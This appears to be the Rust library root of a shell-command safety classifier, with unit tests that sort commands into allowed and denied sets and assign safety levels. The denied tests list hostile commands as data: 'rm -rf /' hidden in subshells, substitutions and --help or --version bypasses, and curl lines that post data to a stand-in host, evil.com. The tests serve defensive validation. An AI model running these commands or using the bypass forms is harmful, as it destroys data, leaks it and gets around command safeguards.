1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15#[cfg(test)]
16macro_rules! inert {
17 ($($name:ident: $cmd:expr),* $(,)?) => {
18 $(#[test] fn $name() {
19 assert_eq!(
20 crate::command_verdict($cmd),
21 crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::Inert),
22 "expected Inert: {}", $cmd,
23 );
24 })*
25 };
26}
27
28#[cfg(test)]
29macro_rules! safe_read {
30 ($($name:ident: $cmd:expr),* $(,)?) => {
31 $(#[test] fn $name() {
32 assert_eq!(
33 crate::command_verdict($cmd),
34 crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::SafeRead),
35 "expected SafeRead: {}", $cmd,
36 );
37 })*
38 };
39}
40
41#[cfg(test)]
42macro_rules! safe_write {
43 ($($name:ident: $cmd:expr),* $(,)?) => {
44 $(#[test] fn $name() {
45 assert_eq!(
46 crate::command_verdict($cmd),
47 crate::verdict::Verdict::Allowed(crate::verdict::SafetyLevel::SafeWrite),
48 "expected SafeWrite: {}", $cmd,
49 );
50 })*
51 };
52}
53
54pub mod cli;
55pub mod cst;
56pub mod docs;
57mod handlers;
58pub use handlers::all_opencode_patterns;
59pub mod parse;
60pub mod policy;
61pub mod registry;
62pub mod allowlist;
63pub mod setup;
64pub mod verdict;
65
66pub use verdict::{SafetyLevel, Verdict};
67
68pub fn is_safe_command(command: &str) -> bool {
69 command_verdict(command).is_allowed()
70}
71
72pub fn command_verdict(command: &str) -> Verdict {
73 cst::command_verdict(command)
74}
75
76#[cfg(test)]
77mod tests {
78 use super::*;
79
80 fn check(cmd: &str) -> bool {
81 is_safe_command(cmd)
82 }
83
84 safe! {
85 grep_foo: "grep foo file.txt",
86 cat_etc_hosts: "cat /etc/hosts",
87 jq_key: "jq '.key' file.json",
88 base64_d: "base64 -d",
89 xxd_file: "xxd some/file",
90 pgrep_ruby: "pgrep -l ruby",
91 getconf_page_size: "getconf PAGE_SIZE",
92 ls_la: "ls -la",
93 wc_l: "wc -l file.txt",
94 ps_aux: "ps aux",
95 ps_ef: "ps -ef",
96 top_l: "top -l 1 -n 10",
97 uuidgen: "uuidgen",
98 mdfind_app: "mdfind 'kMDItemKind == Application'",
99 identify_png: "identify image.png",
100 identify_verbose: "identify -verbose photo.jpg",
101
102 diff_files: "diff file1.txt file2.txt",
103 comm_23: "comm -23 sorted1.txt sorted2.txt",
104 paste_files: "paste file1 file2",
105 tac_file: "tac file.txt",
106 rev_file: "rev file.txt",
107 nl_file: "nl file.txt",
108 expand_file: "expand file.txt",
109 unexpand_file: "unexpand file.txt",
110 fold_w80: "fold -w 80 file.txt",
111 fmt_w72: "fmt -w 72 file.txt",
112 column_t: "column -t file.txt",
113 printf_hello: "printf '%s\\n' hello",
114 seq_1_10: "seq 1 10",
115 expr_add: "expr 1 + 2",
116 test_f: "test -f file.txt",
117 true_cmd: "true",
118 false_cmd: "false",
119 bc_l: "bc -l",
120 factor_42: "factor 42",
121 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
122
123 readlink_f: "readlink -f symlink",
124 hostname: "hostname",
125 uname_a: "uname -a",
126 arch: "arch",
127 nproc: "nproc",
128 uptime: "uptime",
129 id: "id",
130 groups: "groups",
131 tty: "tty",
132 locale: "locale",
133 cal: "cal",
134 sleep_1: "sleep 1",
135 who: "who",
136 w: "w",
137 last_5: "last -5",
138 lastlog: "lastlog",
139
140 md5sum: "md5sum file.txt",
141 md5: "md5 file.txt",
142 sha256sum: "sha256sum file.txt",
143 shasum: "shasum file.txt",
144 sha1sum: "sha1sum file.txt",
145 sha512sum: "sha512sum file.txt",
146 cksum: "cksum file.txt",
147 strings_bin: "strings /usr/bin/ls",
148 hexdump_c: "hexdump -C file.bin",
149 od_x: "od -x file.bin",
150 size_aout: "size a.out",
151
152 sw_vers: "sw_vers",
153 mdls: "mdls file.txt",
154 otool_l: "otool -L /usr/bin/ls",
155 nm_aout: "nm a.out",
156 system_profiler: "system_profiler SPHardwareDataType",
157 ioreg_l: "ioreg -l -w 0",
158 vm_stat: "vm_stat",
159
160 dig: "dig example.com",
161 nslookup: "nslookup example.com",
162 host: "host example.com",
163 whois: "whois example.com",
164
165 shellcheck: "shellcheck script.sh",
166 cloc: "cloc src/",
167 tokei: "tokei",
168 safe_chains: "safe-chains \"ls -la\"",
169
170 awk_safe_print: "awk '{print $1}' file.txt",
171
172 version_go: "go --version",
173 version_perl: "perl --version",
174 version_swift: "swift --version",
175 version_git_c: "git -C /repo --version",
176 version_docker_compose: "docker compose --version",
177 version_cargo: "cargo --version",
178 version_cargo_redirect: "cargo --version 2>&1",
179
180 help_cargo: "cargo --help",
181 help_cargo_install: "cargo install --help",
182
183 dry_run_cargo_publish: "cargo publish --dry-run",
184 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
185
186 cucumber_feature: "cucumber features/login.feature",
187 cucumber_format: "cucumber --format progress",
188
189 fd_redirect_ls: "ls 2>&1",
190 fd_redirect_clippy: "cargo clippy 2>&1",
191 fd_redirect_git_log: "git log 2>&1",
192 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
193
194 dev_null_echo: "echo hello > /dev/null",
195 dev_null_stderr: "echo hello 2> /dev/null",
196 dev_null_append: "echo hello >> /dev/null",
197 dev_null_grep: "grep pattern file > /dev/null",
198 dev_null_git_log: "git log > /dev/null 2>&1",
199 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
200 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
201 dev_null_sort: "sort file.txt > /dev/null",
202
203 env_prefix_single_quote: "FOO='bar baz' ls -la",
204 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
205
206 stdin_dev_null: "git log < /dev/null",
207
208 subst_echo_ls: "echo $(ls)",
209 subst_ls_pwd: "ls `pwd`",
210 subst_cat_echo: "cat $(echo /etc/shadow)",
211 subst_echo_git: "echo $(git status)",
212 subst_nested: "echo $(echo $(ls))",
213 subst_quoted: "echo \"$(ls)\"",
214
215 assign_subst_ls: "out=$(ls)",
216 assign_subst_git: "out=$(git status)",
217 assign_subst_jj_diff: "out=$(jj diff -r abc --summary)",
218 assign_subst_pipe: "result=$(jj diff -r abc --git | grep -c pattern || echo 0)",
219 assign_subst_backtick: "out=`ls`",
220 assign_subst_multiple: "a=$(ls) b=$(pwd)",
221
222 subshell_echo: "(echo hello)",
223 subshell_ls: "(ls)",
224 subshell_chain: "(ls && echo done)",
225 subshell_semicolon: "(echo hello; echo world)",
226 subshell_pipe: "(ls | grep foo)",
227 subshell_in_pipeline: "(echo hello) | grep hello",
228 subshell_then_cmd: "(ls) && echo done",
229 subshell_nested: "((echo hello))",
230 subshell_for: "(for x in 1 2; do echo $x; done)",
231 quoted_redirect: "echo 'greater > than' test",
232 quoted_subst: "echo '$(safe)' arg",
233 echo_hello: "echo hello",
234 cat_file: "cat file.txt",
235 grep_pattern: "grep pattern file",
236
237 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
238 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
239
240 pipe_grep_head: "grep foo file.txt | head -5",
241 pipe_cat_sort_uniq: "cat file | sort | uniq",
242 pipe_find_wc: "find . -name '*.rb' | wc -l",
243 chain_ls_echo: "ls && echo done",
244 semicolon_ls_echo: "ls; echo done",
245 pipe_git_log_head: "git log | head -5",
246 chain_git_log_status: "git log && git status",
247
248 bg_ls_echo: "ls & echo done",
249 bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
250 chain_ls_echo_and: "ls && echo done",
251 here_string_grep: "grep -c , <<< 'hello,world,test'",
252
253 newline_echo_echo: "echo foo\necho bar",
254 newline_ls_cat: "ls\ncat file.txt",
255
256 pipeline_git_log_head: "git log --oneline -20 | head -5",
257 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
258 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
259 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
260 pipeline_time_rspec: "time bundle exec rspec | tail -5",
261 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
262 pipeline_xxd_head: "xxd file | head -20",
263 pipeline_find_wc: "find . -name '*.py' | wc -l",
264 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
265 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
266 pipeline_pip_grep: "pip list | grep requests",
267 pipeline_npm_grep: "npm list | grep react",
268 pipeline_ps_grep: "ps aux | grep python",
269
270 help_cargo_build: "cargo build --help",
271
272 for_echo: "for x in 1 2 3; do echo $x; done",
273 for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
274 for_empty_body: "for x in 1 2 3; do; done",
275 for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
276 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
277 for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
278 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
279 for_assign_subst: "for c in a b c; do out=$(jj diff -r $c --summary); if [ -n \"$out\" ]; then echo \"$c: $out\"; fi; done",
280 for_assign_pipe_subst: "for c in a b; do result=$(jj diff -r $c --git | grep -c pattern || echo 0); if [ \"$result\" -gt 0 ]; then desc=$(jj log --no-graph -r $c -T template); echo \"$c: $desc\"; fi; done",
281 while_test: "while test -f /tmp/foo; do sleep 1; done",
282 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
283 while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
284 until_test: "until test -f /tmp/ready; do sleep 1; done",
285 if_then_fi: "if test -f foo; then echo exists; fi",
286 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
287 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
288 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
289 nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
290 bare_negation: "! echo hello",
291 bare_negation_test: "! test -f foo",
292 keyword_as_data: "echo for; echo done; echo if; echo fi",
293
294 command_help: "command --help",
295 command_version: "command --version",
296 command_v: "command -v git",
297 command_v_upper: "command -V git",
298 command_v_path: "command -v /usr/bin/git",
299
300 networksetup_listallhardwareports: "networksetup -listallhardwareports",
301 networksetup_listallnetworkservices: "networksetup -listallnetworkservices",
302 networksetup_getinfo: "networksetup -getinfo Wi-Fi",
303 networksetup_getdnsservers: "networksetup -getdnsservers Wi-Fi",
304 networksetup_version: "networksetup -version",
305 networksetup_help: "networksetup -help",
306
307 mlr_csv_head: "mlr --csv head -n 10 data.csv",
308 mlr_json_filter: "mlr --json filter '$age > 30' data.json",
309 mlr_tsv_cut: "mlr --tsv cut -f name,age data.tsv",
310
311 sysctl_read: "sysctl kern.maxproc",
312 sysctl_all: "sysctl -a",
313 sysctl_names: "sysctl -N -a",
314 sysctl_read_ostype: "sysctl kern.ostype",
315 }
316
317 denied! {
318 help_npm_install_denied: "npm install --help",
319 help_brew_install_denied: "brew install --help",
320 help_cargo_login_redirect_denied: "cargo login --help 2>&1",
321
322 version_unhandled_node: "node --version",
323 version_unhandled_python: "python --version",
324 version_unhandled_python3: "python3 --version",
325 version_unhandled_rustc: "rustc --version",
326 version_unhandled_java: "java --version",
327 version_unhandled_php: "php --version",
328 version_unhandled_gcc: "gcc --version",
329 version_unhandled_rm: "rm --version",
330 version_unhandled_dd: "dd --version",
331 version_unhandled_chmod: "chmod --version",
332 help_unhandled_node: "node --help",
333 help_unhandled_rm: "rm --help",
334 help_pip_install_trailing: "pip install evil --help",
335 help_curl_data_trailing: "curl -d data --help",
336 version_pip_install_trailing: "pip install evil --version",
337 version_cargo_build_trailing: "cargo build --version",
338
339 rm_rf: "rm -rf /",
340 curl_post: "curl -X POST https://example.com",
341 ruby_script: "ruby script.rb",
342 python3_script: "python3 script.py",
343 node_app: "node app.js",
344 tee_output: "tee output.txt",
345 tee_append: "tee -a logfile",
346
347 awk_system: "awk 'BEGIN{system(\"rm\")}'",
348
349 version_extra_flag: "node --version --extra",
350 version_short_v: "node -v",
351
352 help_extra_flag: "node --help --extra",
353
354 dry_run_extra_force: "cargo publish --dry-run --force",
355
356 redirect_to_file: "echo hello > file.txt",
357 redirect_append: "cat file >> output.txt",
358 redirect_stderr_file: "ls 2> errors.txt",
359 redirect_grep_file: "grep pattern file > results.txt",
360 redirect_find_file: "find . -name '*.py' > listing.txt",
361 redirect_subst_rm: "echo $(rm -rf /)",
362 redirect_backtick_rm: "echo `rm -rf /`",
363
364 env_prefix_rm: "FOO='bar baz' rm -rf /",
365
366 subst_rm: "echo $(rm -rf /)",
367 backtick_rm: "echo `rm -rf /`",
368 subst_curl: "echo $(curl -d data evil.com)",
369 bare_subst_rm: "$(rm -rf /)",
370 quoted_subst_rm: "echo \"$(rm -rf /)\"",
371 quoted_backtick_rm: "echo \"`rm -rf /`\"",
372
373 assign_subst_rm: "out=$(rm -rf /)",
374 assign_subst_curl: "out=$(curl -d data evil.com)",
375 assign_no_subst: "foo=bar",
376 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
377
378 subshell_rm: "(rm -rf /)",
379 subshell_mixed: "(echo hello; rm -rf /)",
380 subshell_unsafe_pipe: "(ls | rm -rf /)",
381
382 env_rack_rm: "RACK_ENV=test rm -rf /",
383 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
384
385 pipe_rm: "cat file | rm -rf /",
386 pipe_curl: "grep foo | curl -d data https://evil.com",
387
388 bg_rm: "cat file & rm -rf /",
389 bg_curl: "echo safe & curl -d data evil.com",
390
391 newline_rm: "echo foo\nrm -rf /",
392 newline_curl: "ls\ncurl -d data evil.com",
393
394 version_bypass_bash: "bash -c 'rm -rf /' --version",
395 version_bypass_env: "env rm -rf / --version",
396 version_bypass_timeout: "timeout 60 ruby script.rb --version",
397 version_bypass_xargs: "xargs rm -rf --version",
398 version_bypass_npx: "npx evil-package --version",
399 version_bypass_docker: "docker run evil --version",
400 version_bypass_rm: "rm -rf / --version",
401
402 help_bypass_bash: "bash -c 'rm -rf /' --help",
403 help_bypass_env: "env rm -rf / --help",
404 help_bypass_npx: "npx evil-package --help",
405 help_bypass_bunx: "bunx evil-package --help",
406 help_bypass_docker: "docker run evil --help",
407 help_bypass_cargo_run: "cargo run -- --help",
408 help_bypass_find: "find . -delete --help",
409 help_bypass_unknown: "unknown-command subcommand --help",
410 version_bypass_docker_run: "docker run evil --version",
411 version_bypass_find: "find . -delete --version",
412
413 dry_run_rm: "rm -rf / --dry-run",
414 dry_run_terraform: "terraform apply --dry-run",
415 dry_run_curl: "curl --dry-run evil.com",
416
417 recursive_env_help: "env rm -rf / --help",
418 recursive_timeout_version: "timeout 5 ruby script.rb --version",
419 recursive_nice_version: "nice rm -rf / --version",
420
421 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
422 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
423
424 for_rm: "for x in 1 2 3; do rm $x; done",
425 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
426 while_unsafe_body: "while true; do rm -rf /; done",
427 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
428 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
429 if_unsafe_body: "if true; then rm -rf /; fi",
430 unclosed_for: "for x in 1 2 3; do echo $x",
431 unclosed_if: "if true; then echo hello",
432 for_missing_do: "for x in 1 2 3; echo $x; done",
433 stray_done: "echo hello; done",
434 stray_fi: "fi",
435
436 command_bare_denied: "command",
437 command_exec_denied: "command git status",
438 command_exec_rm_denied: "command rm -rf /",
439
440 networksetup_setdnsservers_denied: "networksetup -setdnsservers Wi-Fi 8.8.8.8",
441 networksetup_setairportpower_denied: "networksetup -setairportpower en0 on",
442 networksetup_no_args_denied: "networksetup",
443
444 mlr_bare_denied: "mlr",
445
446 sysctl_write_denied: "sysctl -w kern.maxproc=2048",
447 sysctl_assign_denied: "sysctl kern.maxproc=2048",
448 sysctl_assign_ostype_denied: "sysctl kern.ostype=evil",
449 }
450
451 inert! {
452 level_cat: "cat file.txt",
453 level_grep: "grep foo file.txt",
454 level_echo: "echo hello",
455 level_ls: "ls -la",
456 level_git_log: "git log --oneline",
457 level_git_diff: "git diff",
458 level_cargo_help: "cargo --help",
459 level_cargo_tree: "cargo tree",
460 level_find_grep: "find . -name '*.py' -exec grep pattern {} +",
461 level_pipe_inert: "grep foo file | head -5",
462 level_env_bare: "env",
463 level_timeout_ls: "timeout 5 ls -la",
464 level_bash_version: "bash --version",
465 }
466
467 safe_read! {
468 level_cargo_test: "cargo test",
469 level_cargo_clippy: "cargo clippy",
470 level_cargo_check: "cargo check",
471 level_cargo_bench: "cargo bench",
472 level_cargo_publish_dry: "cargo publish --dry-run",
473 level_bundle_exec_rspec: "bundle exec rspec",
474 level_bundle_exec_rails_test: "bundle exec rails test",
475 level_npm_test: "npm test",
476 level_npm_run_test: "npm run test",
477 level_yarn_test: "yarn test",
478 level_go_test: "go test ./...",
479 level_go_vet: "go vet ./...",
480 level_deno_test: "deno test",
481 level_deno_lint: "deno lint",
482 level_deno_check: "deno check src/main.ts",
483 level_bun_test: "bun test",
484 level_swift_test: "swift test",
485 level_gradle_test: "gradle test",
486 level_gradle_check: "gradle check",
487 level_dotnet_test: "dotnet test",
488 level_mvn_test: "mvn test",
489 level_mvn_verify: "mvn verify",
490 level_npx_eslint: "npx eslint src/",
491 level_bunx_eslint: "bunx eslint src/",
492 level_swiftlint_lint: "swiftlint lint",
493 level_swiftlint_analyze: "swiftlint analyze --compiler-log-path build.log",
494 level_detekt: "detekt",
495 level_ktlint: "ktlint src/",
496 level_periphery_scan: "periphery scan",
497 level_cucumber: "cucumber features/login.feature",
498 level_timeout_cargo_test: "timeout 120 cargo test",
499 level_env_cargo_test: "env RUST_BACKTRACE=1 cargo test",
500 level_pipe_cargo_test: "cargo test | grep PASS",
501 }
502
503 safe_write! {
504 level_cargo_build: "cargo build",
505 level_cargo_build_help: "cargo build --help",
506 level_cargo_doc: "cargo doc",
507 level_go_build: "go build ./...",
508 level_swift_build: "swift build",
509 level_gradle_build: "gradle build",
510 level_bun_build: "bun build src/index.ts",
511 level_dotnet_build: "dotnet build",
512 level_mvn_compile: "mvn compile",
513 level_gh_release_download: "gh release download --output file.tar.gz --repo o/r",
514 }
515}